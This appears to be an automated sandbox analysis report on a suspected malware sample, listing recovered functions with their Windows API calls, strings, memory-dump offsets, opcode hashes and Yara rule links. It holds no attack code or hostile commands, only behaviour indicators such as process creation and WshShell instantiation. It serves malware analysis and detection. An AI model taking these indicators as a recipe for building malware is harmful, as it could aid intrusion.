Opcode ID: 4166609f46e1e3870822f18e47ad906b85be3cb121b05c48cc550c3ccd7ee5f7
Instruction ID: 63184a704cb62a806bb8914d83662f0d675c56d655f843526092254a9c93f068
Opcode Fuzzy Hash: 4166609f46e1e3870822f18e47ad906b85be3cb121b05c48cc550c3ccd7ee5f7
Instruction Fuzzy Hash: 7FD0C934210749CFDB02CF14C0D1B45B7A8EB89748F1040B1DE419B385D2B4F945CAA1

Function 02BA8BC9 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2107192469.0000000002B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B70000, based on PE: true

Associated: 00000000.00000002.2107192469.0000000002C27000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b70000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4166609f46e1e3870822f18e47ad906b85be3cb121b05c48cc550c3ccd7ee5f7
Instruction ID: 3946dcfbc06e52d9aa89cf4bfee2f09f778b683eec2b246e3696e5325b6545f2
Opcode Fuzzy Hash: 4166609f46e1e3870822f18e47ad906b85be3cb121b05c48cc550c3ccd7ee5f7
Instruction Fuzzy Hash: 91D0C974215749CFDB01DF14C0E1B41B3A9EB49748F1040B0DD419B745D6B5F945CAA1

Function 02BB8770 Relevance: 22.7, APIs: 15, Instructions: 225COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32(?), ref: 02BB878A
VariantInit.OLEAUT32(?), ref: 02BB8791
SafeArrayGetDim.OLEAUT32(?), ref: 02BB87D2
SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 02BB87EC
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 02BB87F9

Memory Dump Source

Source File: 00000000.00000002.2107192469.0000000002B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B70000, based on PE: true

Associated: 00000000.00000002.2107192469.0000000002C27000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b70000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: ArraySafe$BoundVariant$ClearInit
String ID:
API String ID: 3354131989-0
Opcode ID: 09e3d8ffa3a69e460ab95558b193864d9d8d9012928ec278f68c1755a5d885da
Instruction ID: a7d7f54ef7bad628753e9a22c6402e5a2e164195c41221ee3aa11e8e7ae12929
Opcode Fuzzy Hash: 09e3d8ffa3a69e460ab95558b193864d9d8d9012928ec278f68c1755a5d885da
Instruction Fuzzy Hash: 7471CE76A043409FCB04DF28D8849ABFBE9FFC8254F448D6EF88587210E775D9098B92

Function 02BB7110 Relevance: 19.7, APIs: 13, Instructions: 186comregistrystringCOMMON

Download Yara Rule

APIs

LoadTypeLib.OLEAUT32(00000000,?), ref: 02BB7178
GetUserDefaultLCID.KERNEL32(00000000,?,0000091C,00000000,00000000,00010030,WshShell,00000000,80000004,wshom.ocx,00000000,80000004), ref: 02BB7187
LHashValOfNameSys.OLEAUT32(00000001,00000000), ref: 02BB7190
strchr.MSVCRT ref: 02BB71E2
RegisterTypeLib.OLEAUT32(?,00000000,00000000), ref: 02BB71F6
??3@YAXPAX@Z.MSVCRT(00000000,?,0000091C,00000000,00000000,00010030,WshShell,00000000,80000004,wshom.ocx,00000000,80000004), ref: 02BB7216
??3@YAXPAX@Z.MSVCRT(00000000,?,?,0000091C,00000000,00000000,00010030,WshShell,00000000,80000004,wshom.ocx,00000000,80000004), ref: 02BB7227
CLSIDFromProgID.OLE32(00000000,?,0000091C,00000000,00000000,00010030,WshShell,00000000,80000004,wshom.ocx,00000000,80000004), ref: 02BB7237
CLSIDFromString.OLE32(00000000,?), ref: 02BB724A
??3@YAXPAX@Z.MSVCRT(00000000), ref: 02BB7254
CoCreateInstance.OLE32(?,00000000,00000017,02BC4170,?), ref: 02BB7285
CoCreateInstance.OLE32(?,00000000,00000007,02BC4170,?), ref: 02BB72A3
OleRun.OLE32(?), ref: 02BB72B0

Memory Dump Source

Source File: 00000000.00000002.2107192469.0000000002B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B70000, based on PE: true

Associated: 00000000.00000002.2107192469.0000000002C27000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b70000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: ??3@$CreateFromInstanceType$DefaultHashLoadNameProgRegisterStringUserstrchr
String ID:
API String ID: 4217901908-0
Opcode ID: b327c1fd5ef01314cc72ee1604c7556629ee01b2308a49bd9babf1e150be688a
Instruction ID: 25559f440327c19baec082696583eccdd4576559b4dfa7ebe3e09166c5dea04a
Opcode Fuzzy Hash: b327c1fd5ef01314cc72ee1604c7556629ee01b2308a49bd9babf1e150be688a
Instruction Fuzzy Hash: 4351B2B2A043059FD310DF65D8849ABF7E8EFC8604F5089ACF945C7200DB75E949CBA2

Function 02BF36D2 Relevance: 19.6, APIs: 13, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 02BF370B
___free_lconv_mon.LIBCMT ref: 02BF3716

Part of subcall function 02BF5376: _free.LIBCMT ref: 02BF5393
Part of subcall function 02BF5376: _free.LIBCMT ref: 02BF53A5
Part of subcall function 02BF5376: _free.LIBCMT ref: 02BF53B7
Part of subcall function 02BF5376: _free.LIBCMT ref: 02BF53C9
Part of subcall function 02BF5376: _free.LIBCMT ref: 02BF53DB
Part of subcall function 02BF5376: _free.LIBCMT ref: 02BF53ED
Part of subcall function 02BF5376: _free.LIBCMT ref: 02BF53FF
Part of subcall function 02BF5376: _free.LIBCMT ref: 02BF5411
Part of subcall function 02BF5376: _free.LIBCMT ref: 02BF5423
Part of subcall function 02BF5376: _free.LIBCMT ref: 02BF5435
Part of subcall function 02BF5376: _free.LIBCMT ref: 02BF5447
Part of subcall function 02BF5376: _free.LIBCMT ref: 02BF5459
Part of subcall function 02BF5376: _free.LIBCMT ref: 02BF546B

_free.LIBCMT ref: 02BF372D
_free.LIBCMT ref: 02BF3742
_free.LIBCMT ref: 02BF374D
_free.LIBCMT ref: 02BF376F
_free.LIBCMT ref: 02BF3782
_free.LIBCMT ref: 02BF3790
_free.LIBCMT ref: 02BF379B
_free.LIBCMT ref: 02BF37D3
_free.LIBCMT ref: 02BF37DA
_free.LIBCMT ref: 02BF37F7
_free.LIBCMT ref: 02BF380F

Memory Dump Source

Source File: 00000000.00000002.2107192469.0000000002B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B70000, based on PE: true

Associated: 00000000.00000002.2107192469.0000000002C27000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b70000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: _free$___free_lconv_mon
String ID:
API String ID: 3658870901-0
Opcode ID: 1d3a2f939689d93d3b29b664d9313f790a1ca7495d78d96052ab7a2ef450301d
Instruction ID: a86a18233ade4f1628b7f4300089713b8bfe5ee3f1a50310db642c172c337cb3
Opcode Fuzzy Hash: 1d3a2f939689d93d3b29b664d9313f790a1ca7495d78d96052ab7a2ef450301d
Instruction Fuzzy Hash: 1D318FB1A042849FEF60AF39D844F6AB3E9EF00314F2044D9E55AD7654DF36A888CF60

Function 02BB7A30 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 151windowCOMMON

Download Yara Rule

APIs

sprintf.MSVCRT ref: 02BB7B27

Part of subcall function 02BBB0F0: modf.MSVCRT ref: 02BBB10C

sprintf.MSVCRT ref: 02BB7B47
sprintf.MSVCRT ref: 02BB7B89
MessageBoxA.USER32(00000000,00000000,02C0FD20,?), ref: 02BB7C53

Strings

%lf, xrefs: 02BB7BED
%I64d, xrefs: 02BB7B83

Memory Dump Source

Source File: 00000000.00000002.2107192469.0000000002B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B70000, based on PE: true

Associated: 00000000.00000002.2107192469.0000000002C27000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b70000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: sprintf$Messagemodf
String ID: %I64d$%lf
API String ID: 4066613413-1545097854
Opcode ID: d78849037de3e9dc79e27381aeac070aa6598a6132f34d624f284bc61e5c15e0
Instruction ID: 0f898a3b571dd040591f142b42af371085bcdb8413c348122dc5bc6d74936715
Opcode Fuzzy Hash: d78849037de3e9dc79e27381aeac070aa6598a6132f34d624f284bc61e5c15e0
Instruction Fuzzy Hash: 7651C6725043059FE73ADA54D8D1AFBF3E9EFC4700F20895DE98A82140EEB59588DB92

Function 02B9ED43 Relevance: 15.1, APIs: 10, Instructions: 127memoryCOMMON

Download Yara Rule

APIs

GdiplusStartup.GDIPLUS(00000000,00000000,00000000), ref: 02B9EDC7
GlobalAlloc.KERNEL32(00000002,00000000,00000000), ref: 02B9EDF1
RtlMoveMemory.KERNEL32(00000000,00000000,00000000), ref: 02B9EE21
CreateStreamOnHGlobal.OLE32(00000000,00000000,00000000), ref: 02B9EE37
GdipLoadImageFromStream.GDIPLUS(00000000,00000000), ref: 02B9EE4B
GlobalFree.KERNEL32(00000000), ref: 02B9EE77
GdipGetImageWidth.GDIPLUS(00000000,00000000), ref: 02B9EE87
GdipGetImageHeight.GDIPLUS(00000000,00000000), ref: 02B9EE97
GdipDisposeImage.GDIPLUS(00000000), ref: 02B9EEA4
GdiplusShutdown.GDIPLUS(00000000), ref: 02B9EEB1

Memory Dump Source

Source File: 00000000.00000002.2107192469.0000000002B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B70000, based on PE: true

Associated: 00000000.00000002.2107192469.0000000002C27000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b70000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: GdipImage$Global$GdiplusStream$AllocCreateDisposeFreeFromHeightLoadMemoryMoveShutdownStartupWidth
String ID:
API String ID: 1750606734-0
Opcode ID: 051152148fe705183704e662747148cecd5c632f1c7cbeb54b137487461b95e6
Instruction ID: ce0a5a086a03c9f153d369f08c7e0c1b3f893ea256aeb45f531affcd2e6a9880
Opcode Fuzzy Hash: 051152148fe705183704e662747148cecd5c632f1c7cbeb54b137487461b95e6
Instruction Fuzzy Hash: D041C270D00209AFDF119FA0D888BAEBBF5FF0E305F5098A5E504BB250D77A86649B94

Function 02BF0507 Relevance: 15.1, APIs: 10, Instructions: 54COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 02BF051B
_free.LIBCMT ref: 02BF0527
_free.LIBCMT ref: 02BF0532
_free.LIBCMT ref: 02BF053D
_free.LIBCMT ref: 02BF0548
_free.LIBCMT ref: 02BF0553
_free.LIBCMT ref: 02BF055E
_free.LIBCMT ref: 02BF0569
_free.LIBCMT ref: 02BF0574
_free.LIBCMT ref: 02BF0582

Memory Dump Source

Source File: 00000000.00000002.2107192469.0000000002B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B70000, based on PE: true

Associated: 00000000.00000002.2107192469.0000000002C27000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b70000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 779654c014741bd8ed7b966eb6e929cb07a06c205b5a85b18de910210a4ace97
Instruction ID: 30e081c7c20dfe212a44a22488aa5aa3cae9417d280a85677a275de68eaf1625
Opcode Fuzzy Hash: 779654c014741bd8ed7b966eb6e929cb07a06c205b5a85b18de910210a4ace97
Instruction Fuzzy Hash: DA11867690050CBFCF41EF54C941CED3BA6EF08354B6180A5BA198FA35DB32DA549F90

Function 02B0E300 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 136librarywindowloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?), ref: 02B0E312
LoadLibraryA.KERNEL32(?), ref: 02B0E327
wsprintfA.USER32 ref: 02B0E33E
MessageBoxA.USER32(00000000,?,DLL ERROR,00000010), ref: 02B0E36E
GetProcAddress.KERNEL32(00000000,?), ref: 02B0E407
wsprintfA.USER32 ref: 02B0E41F
MessageBoxA.USER32(00000000,?,DLL ERROR,00000010), ref: 02B0E453

Strings

DLL ERROR, xrefs: 02B0E366, 02B0E44B

Memory Dump Source

Source File: 00000000.00000002.2107081174.0000000002B00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B00000, based on PE: true

Associated: 00000000.00000002.2107081174.0000000002B1B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2107081174.0000000002B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b00000_SecuriteInfo.jbxd

Similarity

API ID: Messagewsprintf$AddressHandleLibraryLoadModuleProc
String ID: DLL ERROR
API String ID: 3330594740-4092134112
Opcode ID: cdc793991565a495f4f5bfe3afdaaa56f750f8573afe64e8343c797ca9e9a3c5
Instruction ID: b9dbfbec1dab2787e521133aed88c188d153cb39cc0b2ea2fff7db7ce8339e77
Opcode Fuzzy Hash: cdc793991565a495f4f5bfe3afdaaa56f750f8573afe64e8343c797ca9e9a3c5
Instruction Fuzzy Hash: 4A4117B2A443019BE322CF64EC85B5BBFD8EB84750F404C68FA05D7280EB71D519C7A2

Function 02B14CCF Relevance: 13.7, APIs: 9, Instructions: 177COMMON

Download Yara Rule

APIs

LCMapStringW.KERNEL32(00000000,00000100,02B17648,00000001,00000000,00000000,?,00000100,00000000,00000000,00000001,00000020,00000100,?,00000000), ref: 02B14D11
LCMapStringA.KERNEL32(00000000,00000100,02B17644,00000001,00000000,00000000,?,00000100,00000000,00000000,00000001,00000020,00000100,?,00000000), ref: 02B14D2D
LCMapStringA.KERNEL32(00000000,?,00000100,00000020,00000001,00000000,?,00000100,00000000,00000000,00000001,00000020,00000100,?,00000000), ref: 02B14D76
MultiByteToWideChar.KERNEL32(00000000,00000101,00000100,00000020,00000000,00000000,?,00000100,00000000,00000000,00000001,00000020,00000100,?,00000000), ref: 02B14DAE
MultiByteToWideChar.KERNEL32(00000000,00000001,00000100,00000020,00000100,00000000,?,00000100,00000000,00000000,00000001,00000020,00000100,?,00000000), ref: 02B14E06
LCMapStringW.KERNEL32(00000000,?,00000100,00000000,00000000,00000000,?,00000100,00000000,00000000,00000001,00000020,00000100,?,00000000), ref: 02B14E1C
LCMapStringW.KERNEL32(00000000,?,00000100,00000000,00000001,00000000,?,00000100,00000000,00000000,00000001,00000020,00000100,?,00000000), ref: 02B14E4F
LCMapStringW.KERNEL32(00000000,?,00000100,00000000,?,00000000,?,00000100,00000000,00000000,00000001,00000020,00000100,?,00000000), ref: 02B14EB7

Memory Dump Source

Source File: 00000000.00000002.2107081174.0000000002B00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B00000, based on PE: true

Associated: 00000000.00000002.2107081174.0000000002B1B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2107081174.0000000002B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b00000_SecuriteInfo.jbxd

Similarity

API ID: String$ByteCharMultiWide
String ID:
API String ID: 352835431-0
Opcode ID: 9129595c5c2eae3ed197ea251833c777f70891e1c7c9da5b7595567be5f7130d
Instruction ID: 05d2c09473d784c9bcab2057826e6ede01a2b896c61142bee4547cc07ce5a25f
Opcode Fuzzy Hash: 9129595c5c2eae3ed197ea251833c777f70891e1c7c9da5b7595567be5f7130d
Instruction Fuzzy Hash: D751A132940209EFDF228F94CC44EEF7FB9FB4AB54F504555F925A6160C7328961DB60

Function 02B0FF4C Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 100fileCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,00000000), ref: 02B0FFB9
GetStdHandle.KERNEL32(000000F4,02B173DC,00000000,00000000,00000000,00000000), ref: 02B1008F
WriteFile.KERNEL32(00000000), ref: 02B10096

Strings

Microsoft Visual C++ Runtime Library, xrefs: 02B10065
<program name unknown>, xrefs: 02B0FFC9
..., xrefs: 02B1000B
Runtime Error!Program: , xrefs: 02B1001F

Memory Dump Source

Source File: 00000000.00000002.2107081174.0000000002B00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B00000, based on PE: true

Associated: 00000000.00000002.2107081174.0000000002B1B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2107081174.0000000002B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b00000_SecuriteInfo.jbxd

Similarity

API ID: File$HandleModuleNameWrite
String ID: ...$<program name unknown>$Microsoft Visual C++ Runtime Library$Runtime Error!Program:
API String ID: 3784150691-4022980321
Opcode ID: 5b9e7f29acefb81fac0fccc5ebb193e1558a9c697958d1c67e52561ccf367982
Instruction ID: 7dbe49b7bbd4bb4c292bee842404cc946166c0c6fa37398b56a312c93c77169d
Opcode Fuzzy Hash: 5b9e7f29acefb81fac0fccc5ebb193e1558a9c697958d1c67e52561ccf367982
Instruction Fuzzy Hash: D631C672A40218AFEF20A764CC49FAA776EEF45300FD408DAF945D7044DB7096859E55

Function 02BB8500 Relevance: 12.2, APIs: 8, Instructions: 185memoryCOMMON

Download Yara Rule

APIs

SafeArrayAllocDescriptor.OLEAUT32(00000001,?), ref: 02BB8625
SafeArrayAllocData.OLEAUT32(?), ref: 02BB864D
SafeArrayAccessData.OLEAUT32(?,?), ref: 02BB8661
SafeArrayDestroy.OLEAUT32(?), ref: 02BB8670
SysAllocString.OLEAUT32(00000000), ref: 02BB86A9
??3@YAXPAX@Z.MSVCRT(00000000,?,?,000009A8,?,?,000009A8,?,02B865B8,00000003,?,00000000,00010031,00000001,00000000,80000005), ref: 02BB86B3
SafeArrayUnaccessData.OLEAUT32(?), ref: 02BB8720
VariantClear.OLEAUT32(?), ref: 02BB872B

Memory Dump Source

Source File: 00000000.00000002.2107192469.0000000002B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B70000, based on PE: true

Associated: 00000000.00000002.2107192469.0000000002C27000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b70000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: ArraySafe$AllocData$??3@AccessClearDescriptorDestroyStringUnaccessVariant
String ID:
API String ID: 892324539-0
Opcode ID: 1ebda2d14c28c839362927a8681874efadb87e6d6e22d60f5e05209d6c515230
Instruction ID: d5d12ae9d4bf1fc3f6db34ce651d4c8cf01cbb07b3bf38870394706def65480f
Opcode Fuzzy Hash: 1ebda2d14c28c839362927a8681874efadb87e6d6e22d60f5e05209d6c515230
Instruction Fuzzy Hash: 7551E4B5A043018BD712DE24D9807BAB3D9EF88714F2488AEED46DB311D3B5DD45CB92

Function 02BB8190 Relevance: 12.2, APIs: 8, Instructions: 160COMMON

Download Yara Rule

APIs

SafeArrayGetDim.OLEAUT32(?), ref: 02BB81D6
SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 02BB81F2
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 02BB81FF
SafeArrayAccessData.OLEAUT32(?,?), ref: 02BB8256
SafeArrayUnaccessData.OLEAUT32(?), ref: 02BB8290
SafeArrayAccessData.OLEAUT32(?,?), ref: 02BB82CF
SafeArrayGetElemsize.OLEAUT32(?), ref: 02BB82E4
SafeArrayUnaccessData.OLEAUT32(?), ref: 02BB830B

Memory Dump Source

Source File: 00000000.00000002.2107192469.0000000002B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B70000, based on PE: true

Associated: 00000000.00000002.2107192469.0000000002C27000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b70000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: ArraySafe$Data$AccessBoundUnaccess$Elemsize
String ID:
API String ID: 3535882829-0
Opcode ID: b8a10de3092bfd01f2601ab27a0a43634c3d3df34169f7f39d5809816b70aff2
Instruction ID: ba5108f27e88e7b260ce23f61d5de8b25a01d685ef617a5547c0f6ccec19d2ff
Opcode Fuzzy Hash: b8a10de3092bfd01f2601ab27a0a43634c3d3df34169f7f39d5809816b70aff2
Instruction Fuzzy Hash: 89516075A042059FC704DF18D8846AAFBE9FF88365F54C5AAED898B300D735ED4ACB90

Function 02B0FB67 Relevance: 12.1, APIs: 8, Instructions: 132COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,02B0EDE4), ref: 02B0FB82
GetEnvironmentStrings.KERNEL32(?,?,?,?,?,?,02B0EDE4), ref: 02B0FB96
GetEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,02B0EDE4), ref: 02B0FBC2
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000000,00000000,00000000,?,?,?,?,?,?,02B0EDE4), ref: 02B0FBFA
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,?,?,?,?,?,?,02B0EDE4), ref: 02B0FC1C
FreeEnvironmentStringsW.KERNEL32(00000000,?,?,?,?,?,?,02B0EDE4), ref: 02B0FC35
GetEnvironmentStrings.KERNEL32(?,?,?,?,?,?,02B0EDE4), ref: 02B0FC48
FreeEnvironmentStringsA.KERNEL32(00000000), ref: 02B0FC86

Memory Dump Source

Source File: 00000000.00000002.2107081174.0000000002B00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B00000, based on PE: true

Associated: 00000000.00000002.2107081174.0000000002B1B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2107081174.0000000002B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b00000_SecuriteInfo.jbxd

Similarity

API ID: EnvironmentStrings$ByteCharFreeMultiWide
String ID:
API String ID: 1823725401-0
Opcode ID: ea39d0db01934c0bc692dfdbee4e9cac7d7524ef8f10050909328c40bda5642f
Instruction ID: cc9da09d3599813a4d17d429c0ac547f5f2018689421c7e448a5d6287ff67664
Opcode Fuzzy Hash: ea39d0db01934c0bc692dfdbee4e9cac7d7524ef8f10050909328c40bda5642f
Instruction Fuzzy Hash: FF316772B482256FD7327F745CC993FBF9CE74529870509E9F946C3580EF208C818A61

Function 02BB89E0 Relevance: 10.6, APIs: 7, Instructions: 106COMMON

Download Yara Rule

APIs

VariantChangeType.OLEAUT32(?,?,00000000,00002011), ref: 02BB8A69
SafeArrayGetDim.OLEAUT32(?), ref: 02BB8A8B
SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 02BB8AA0
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 02BB8AAD
SafeArrayAccessData.OLEAUT32(?,?), ref: 02BB8AD4
SafeArrayUnaccessData.OLEAUT32(?), ref: 02BB8AEB
VariantClear.OLEAUT32(?), ref: 02BB8AFE

Part of subcall function 02BB8190: SafeArrayGetDim.OLEAUT32(?), ref: 02BB81D6
Part of subcall function 02BB8190: SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 02BB81F2
Part of subcall function 02BB8190: SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 02BB81FF

Memory Dump Source

Source File: 00000000.00000002.2107192469.0000000002B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B70000, based on PE: true

Associated: 00000000.00000002.2107192469.0000000002C27000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b70000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: ArraySafe$Bound$DataVariant$AccessChangeClearTypeUnaccess
String ID:
API String ID: 1048558746-0
Opcode ID: c1806c00e329ff771254df2d2ed1c3b5a89332120a7b24323bcc0893bdc96712
Instruction ID: f1cf0c95febeddaf99aab22352ab06d7bd17a19c16147f593269b4c21f9c9c49
Opcode Fuzzy Hash: c1806c00e329ff771254df2d2ed1c3b5a89332120a7b24323bcc0893bdc96712
Instruction Fuzzy Hash: A33179B55083419FD314DF24D884ABBBBE8FFC9254F44896DF99993210E374D90ACBA2

Function 02BB8D60 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 65processsynchronizationCOMMON

Download Yara Rule

APIs

GetStartupInfoA.KERNEL32 ref: 02BB8D72
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000001,00000000,00000000,00000000,?,?), ref: 02BB8DF1
WaitForSingleObject.KERNEL32(?,000000FF), ref: 02BB8E0A
CloseHandle.KERNEL32(?), ref: 02BB8E1B
CloseHandle.KERNEL32(?), ref: 02BB8E22

Strings

D, xrefs: 02BB8D6A

Memory Dump Source

Source File: 00000000.00000002.2107192469.0000000002B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B70000, based on PE: true

Associated: 00000000.00000002.2107192469.0000000002C27000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b70000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: CloseHandle$CreateInfoObjectProcessSingleStartupWait
String ID: D
API String ID: 2246201701-2746444292
Opcode ID: b0298dd673ed6f27f0dbfd234d0da10607ca51d2f8fe0b56592ba09a180f4280
Instruction ID: 2a318c1fad9ec6435b7b8bf8da5449d4eaadae3226d531368618fb9687aa3433
Opcode Fuzzy Hash: b0298dd673ed6f27f0dbfd234d0da10607ca51d2f8fe0b56592ba09a180f4280
Instruction Fuzzy Hash: D3214974508340EBC2219B19C8889ABFBFDEFCA754F10894EF28183220D7B5D489CB53

Function 02BF5519 Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 02BF54DD: _free.LIBCMT ref: 02BF5506

_free.LIBCMT ref: 02BF5567
_free.LIBCMT ref: 02BF5572
_free.LIBCMT ref: 02BF557D
_free.LIBCMT ref: 02BF55D1
_free.LIBCMT ref: 02BF55DC
_free.LIBCMT ref: 02BF55E7
_free.LIBCMT ref: 02BF55F2

Memory Dump Source

Source File: 00000000.00000002.2107192469.0000000002B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B70000, based on PE: true

Associated: 00000000.00000002.2107192469.0000000002C27000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b70000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: d4900de8b5cd7ebfe7244041d7dbce239f9f693ea58facf095f4c6c85e294fc9
Instruction ID: 42c0e478c7ab264da0ff46a22e2934bc5fe31181dccc05c2bfcc7d398a5a88c7
Opcode Fuzzy Hash: d4900de8b5cd7ebfe7244041d7dbce239f9f693ea58facf095f4c6c85e294fc9
Instruction Fuzzy Hash: A11190B1940B04BAEA70BBB0DC05FDB779EAF00701FD44896B79AB6554EB39B5088F50

Function 02BB9160 Relevance: 9.2, APIs: 6, Instructions: 193COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2107192469.0000000002B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B70000, based on PE: true

Associated: 00000000.00000002.2107192469.0000000002C27000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b70000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a8085c8fd028a8c7ee42fd9864de452bba99021174e959261a614728886de43
Instruction ID: 35bc56a69705a6acc6f8297ceaaa41eee7f36f3d98a7da19f90d7b36f20e8364
Opcode Fuzzy Hash: 9a8085c8fd028a8c7ee42fd9864de452bba99021174e959261a614728886de43
Instruction Fuzzy Hash: 58517C71A047059FD710DF18CC84AAAB3E5FF88314F84896DFA8997300D7B1EA098F92

Function 02B14AFE Relevance: 9.1, APIs: 6, Instructions: 117COMMON

Download Yara Rule

APIs

GetStringTypeW.KERNEL32(00000001,02B17648,00000001,00000000,?,00000100,00000000,00000001,00000020,00000100,?,00000000), ref: 02B14B3D
GetStringTypeA.KERNEL32(00000000,00000001,02B17644,00000001,00000000,?,00000100,00000000,00000001,00000020,00000100,?,00000000), ref: 02B14B57
GetStringTypeA.KERNEL32(00000000,00000000,?,00000100,00000020,?,00000100,00000000,00000001,00000020,00000100,?,00000000), ref: 02B14B8B
MultiByteToWideChar.KERNEL32(00000001,00000101,?,00000100,00000000,00000000,?,00000100,00000000,00000001,00000020,00000100,?,00000000), ref: 02B14BC3
MultiByteToWideChar.KERNEL32(00000001,00000001,?,00000100,?,00000100,?,00000100,00000000,00000001,00000020,00000100,?,00000000), ref: 02B14C19
GetStringTypeW.KERNEL32(00000000,?,00000000,00000020,?,00000100,?,00000100,00000000,00000001,00000020,00000100,?,00000000), ref: 02B14C2B

Memory Dump Source

Source File: 00000000.00000002.2107081174.0000000002B00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B00000, based on PE: true

Associated: 00000000.00000002.2107081174.0000000002B1B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2107081174.0000000002B21000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b00000_SecuriteInfo.jbxd

Similarity

API ID: StringType$ByteCharMultiWide
String ID:
API String ID: 3852931651-0
Opcode ID: 455a3c4f491dcfa6bb7979f320d00d15508aab506360e87e64a359a9f1d6d22d
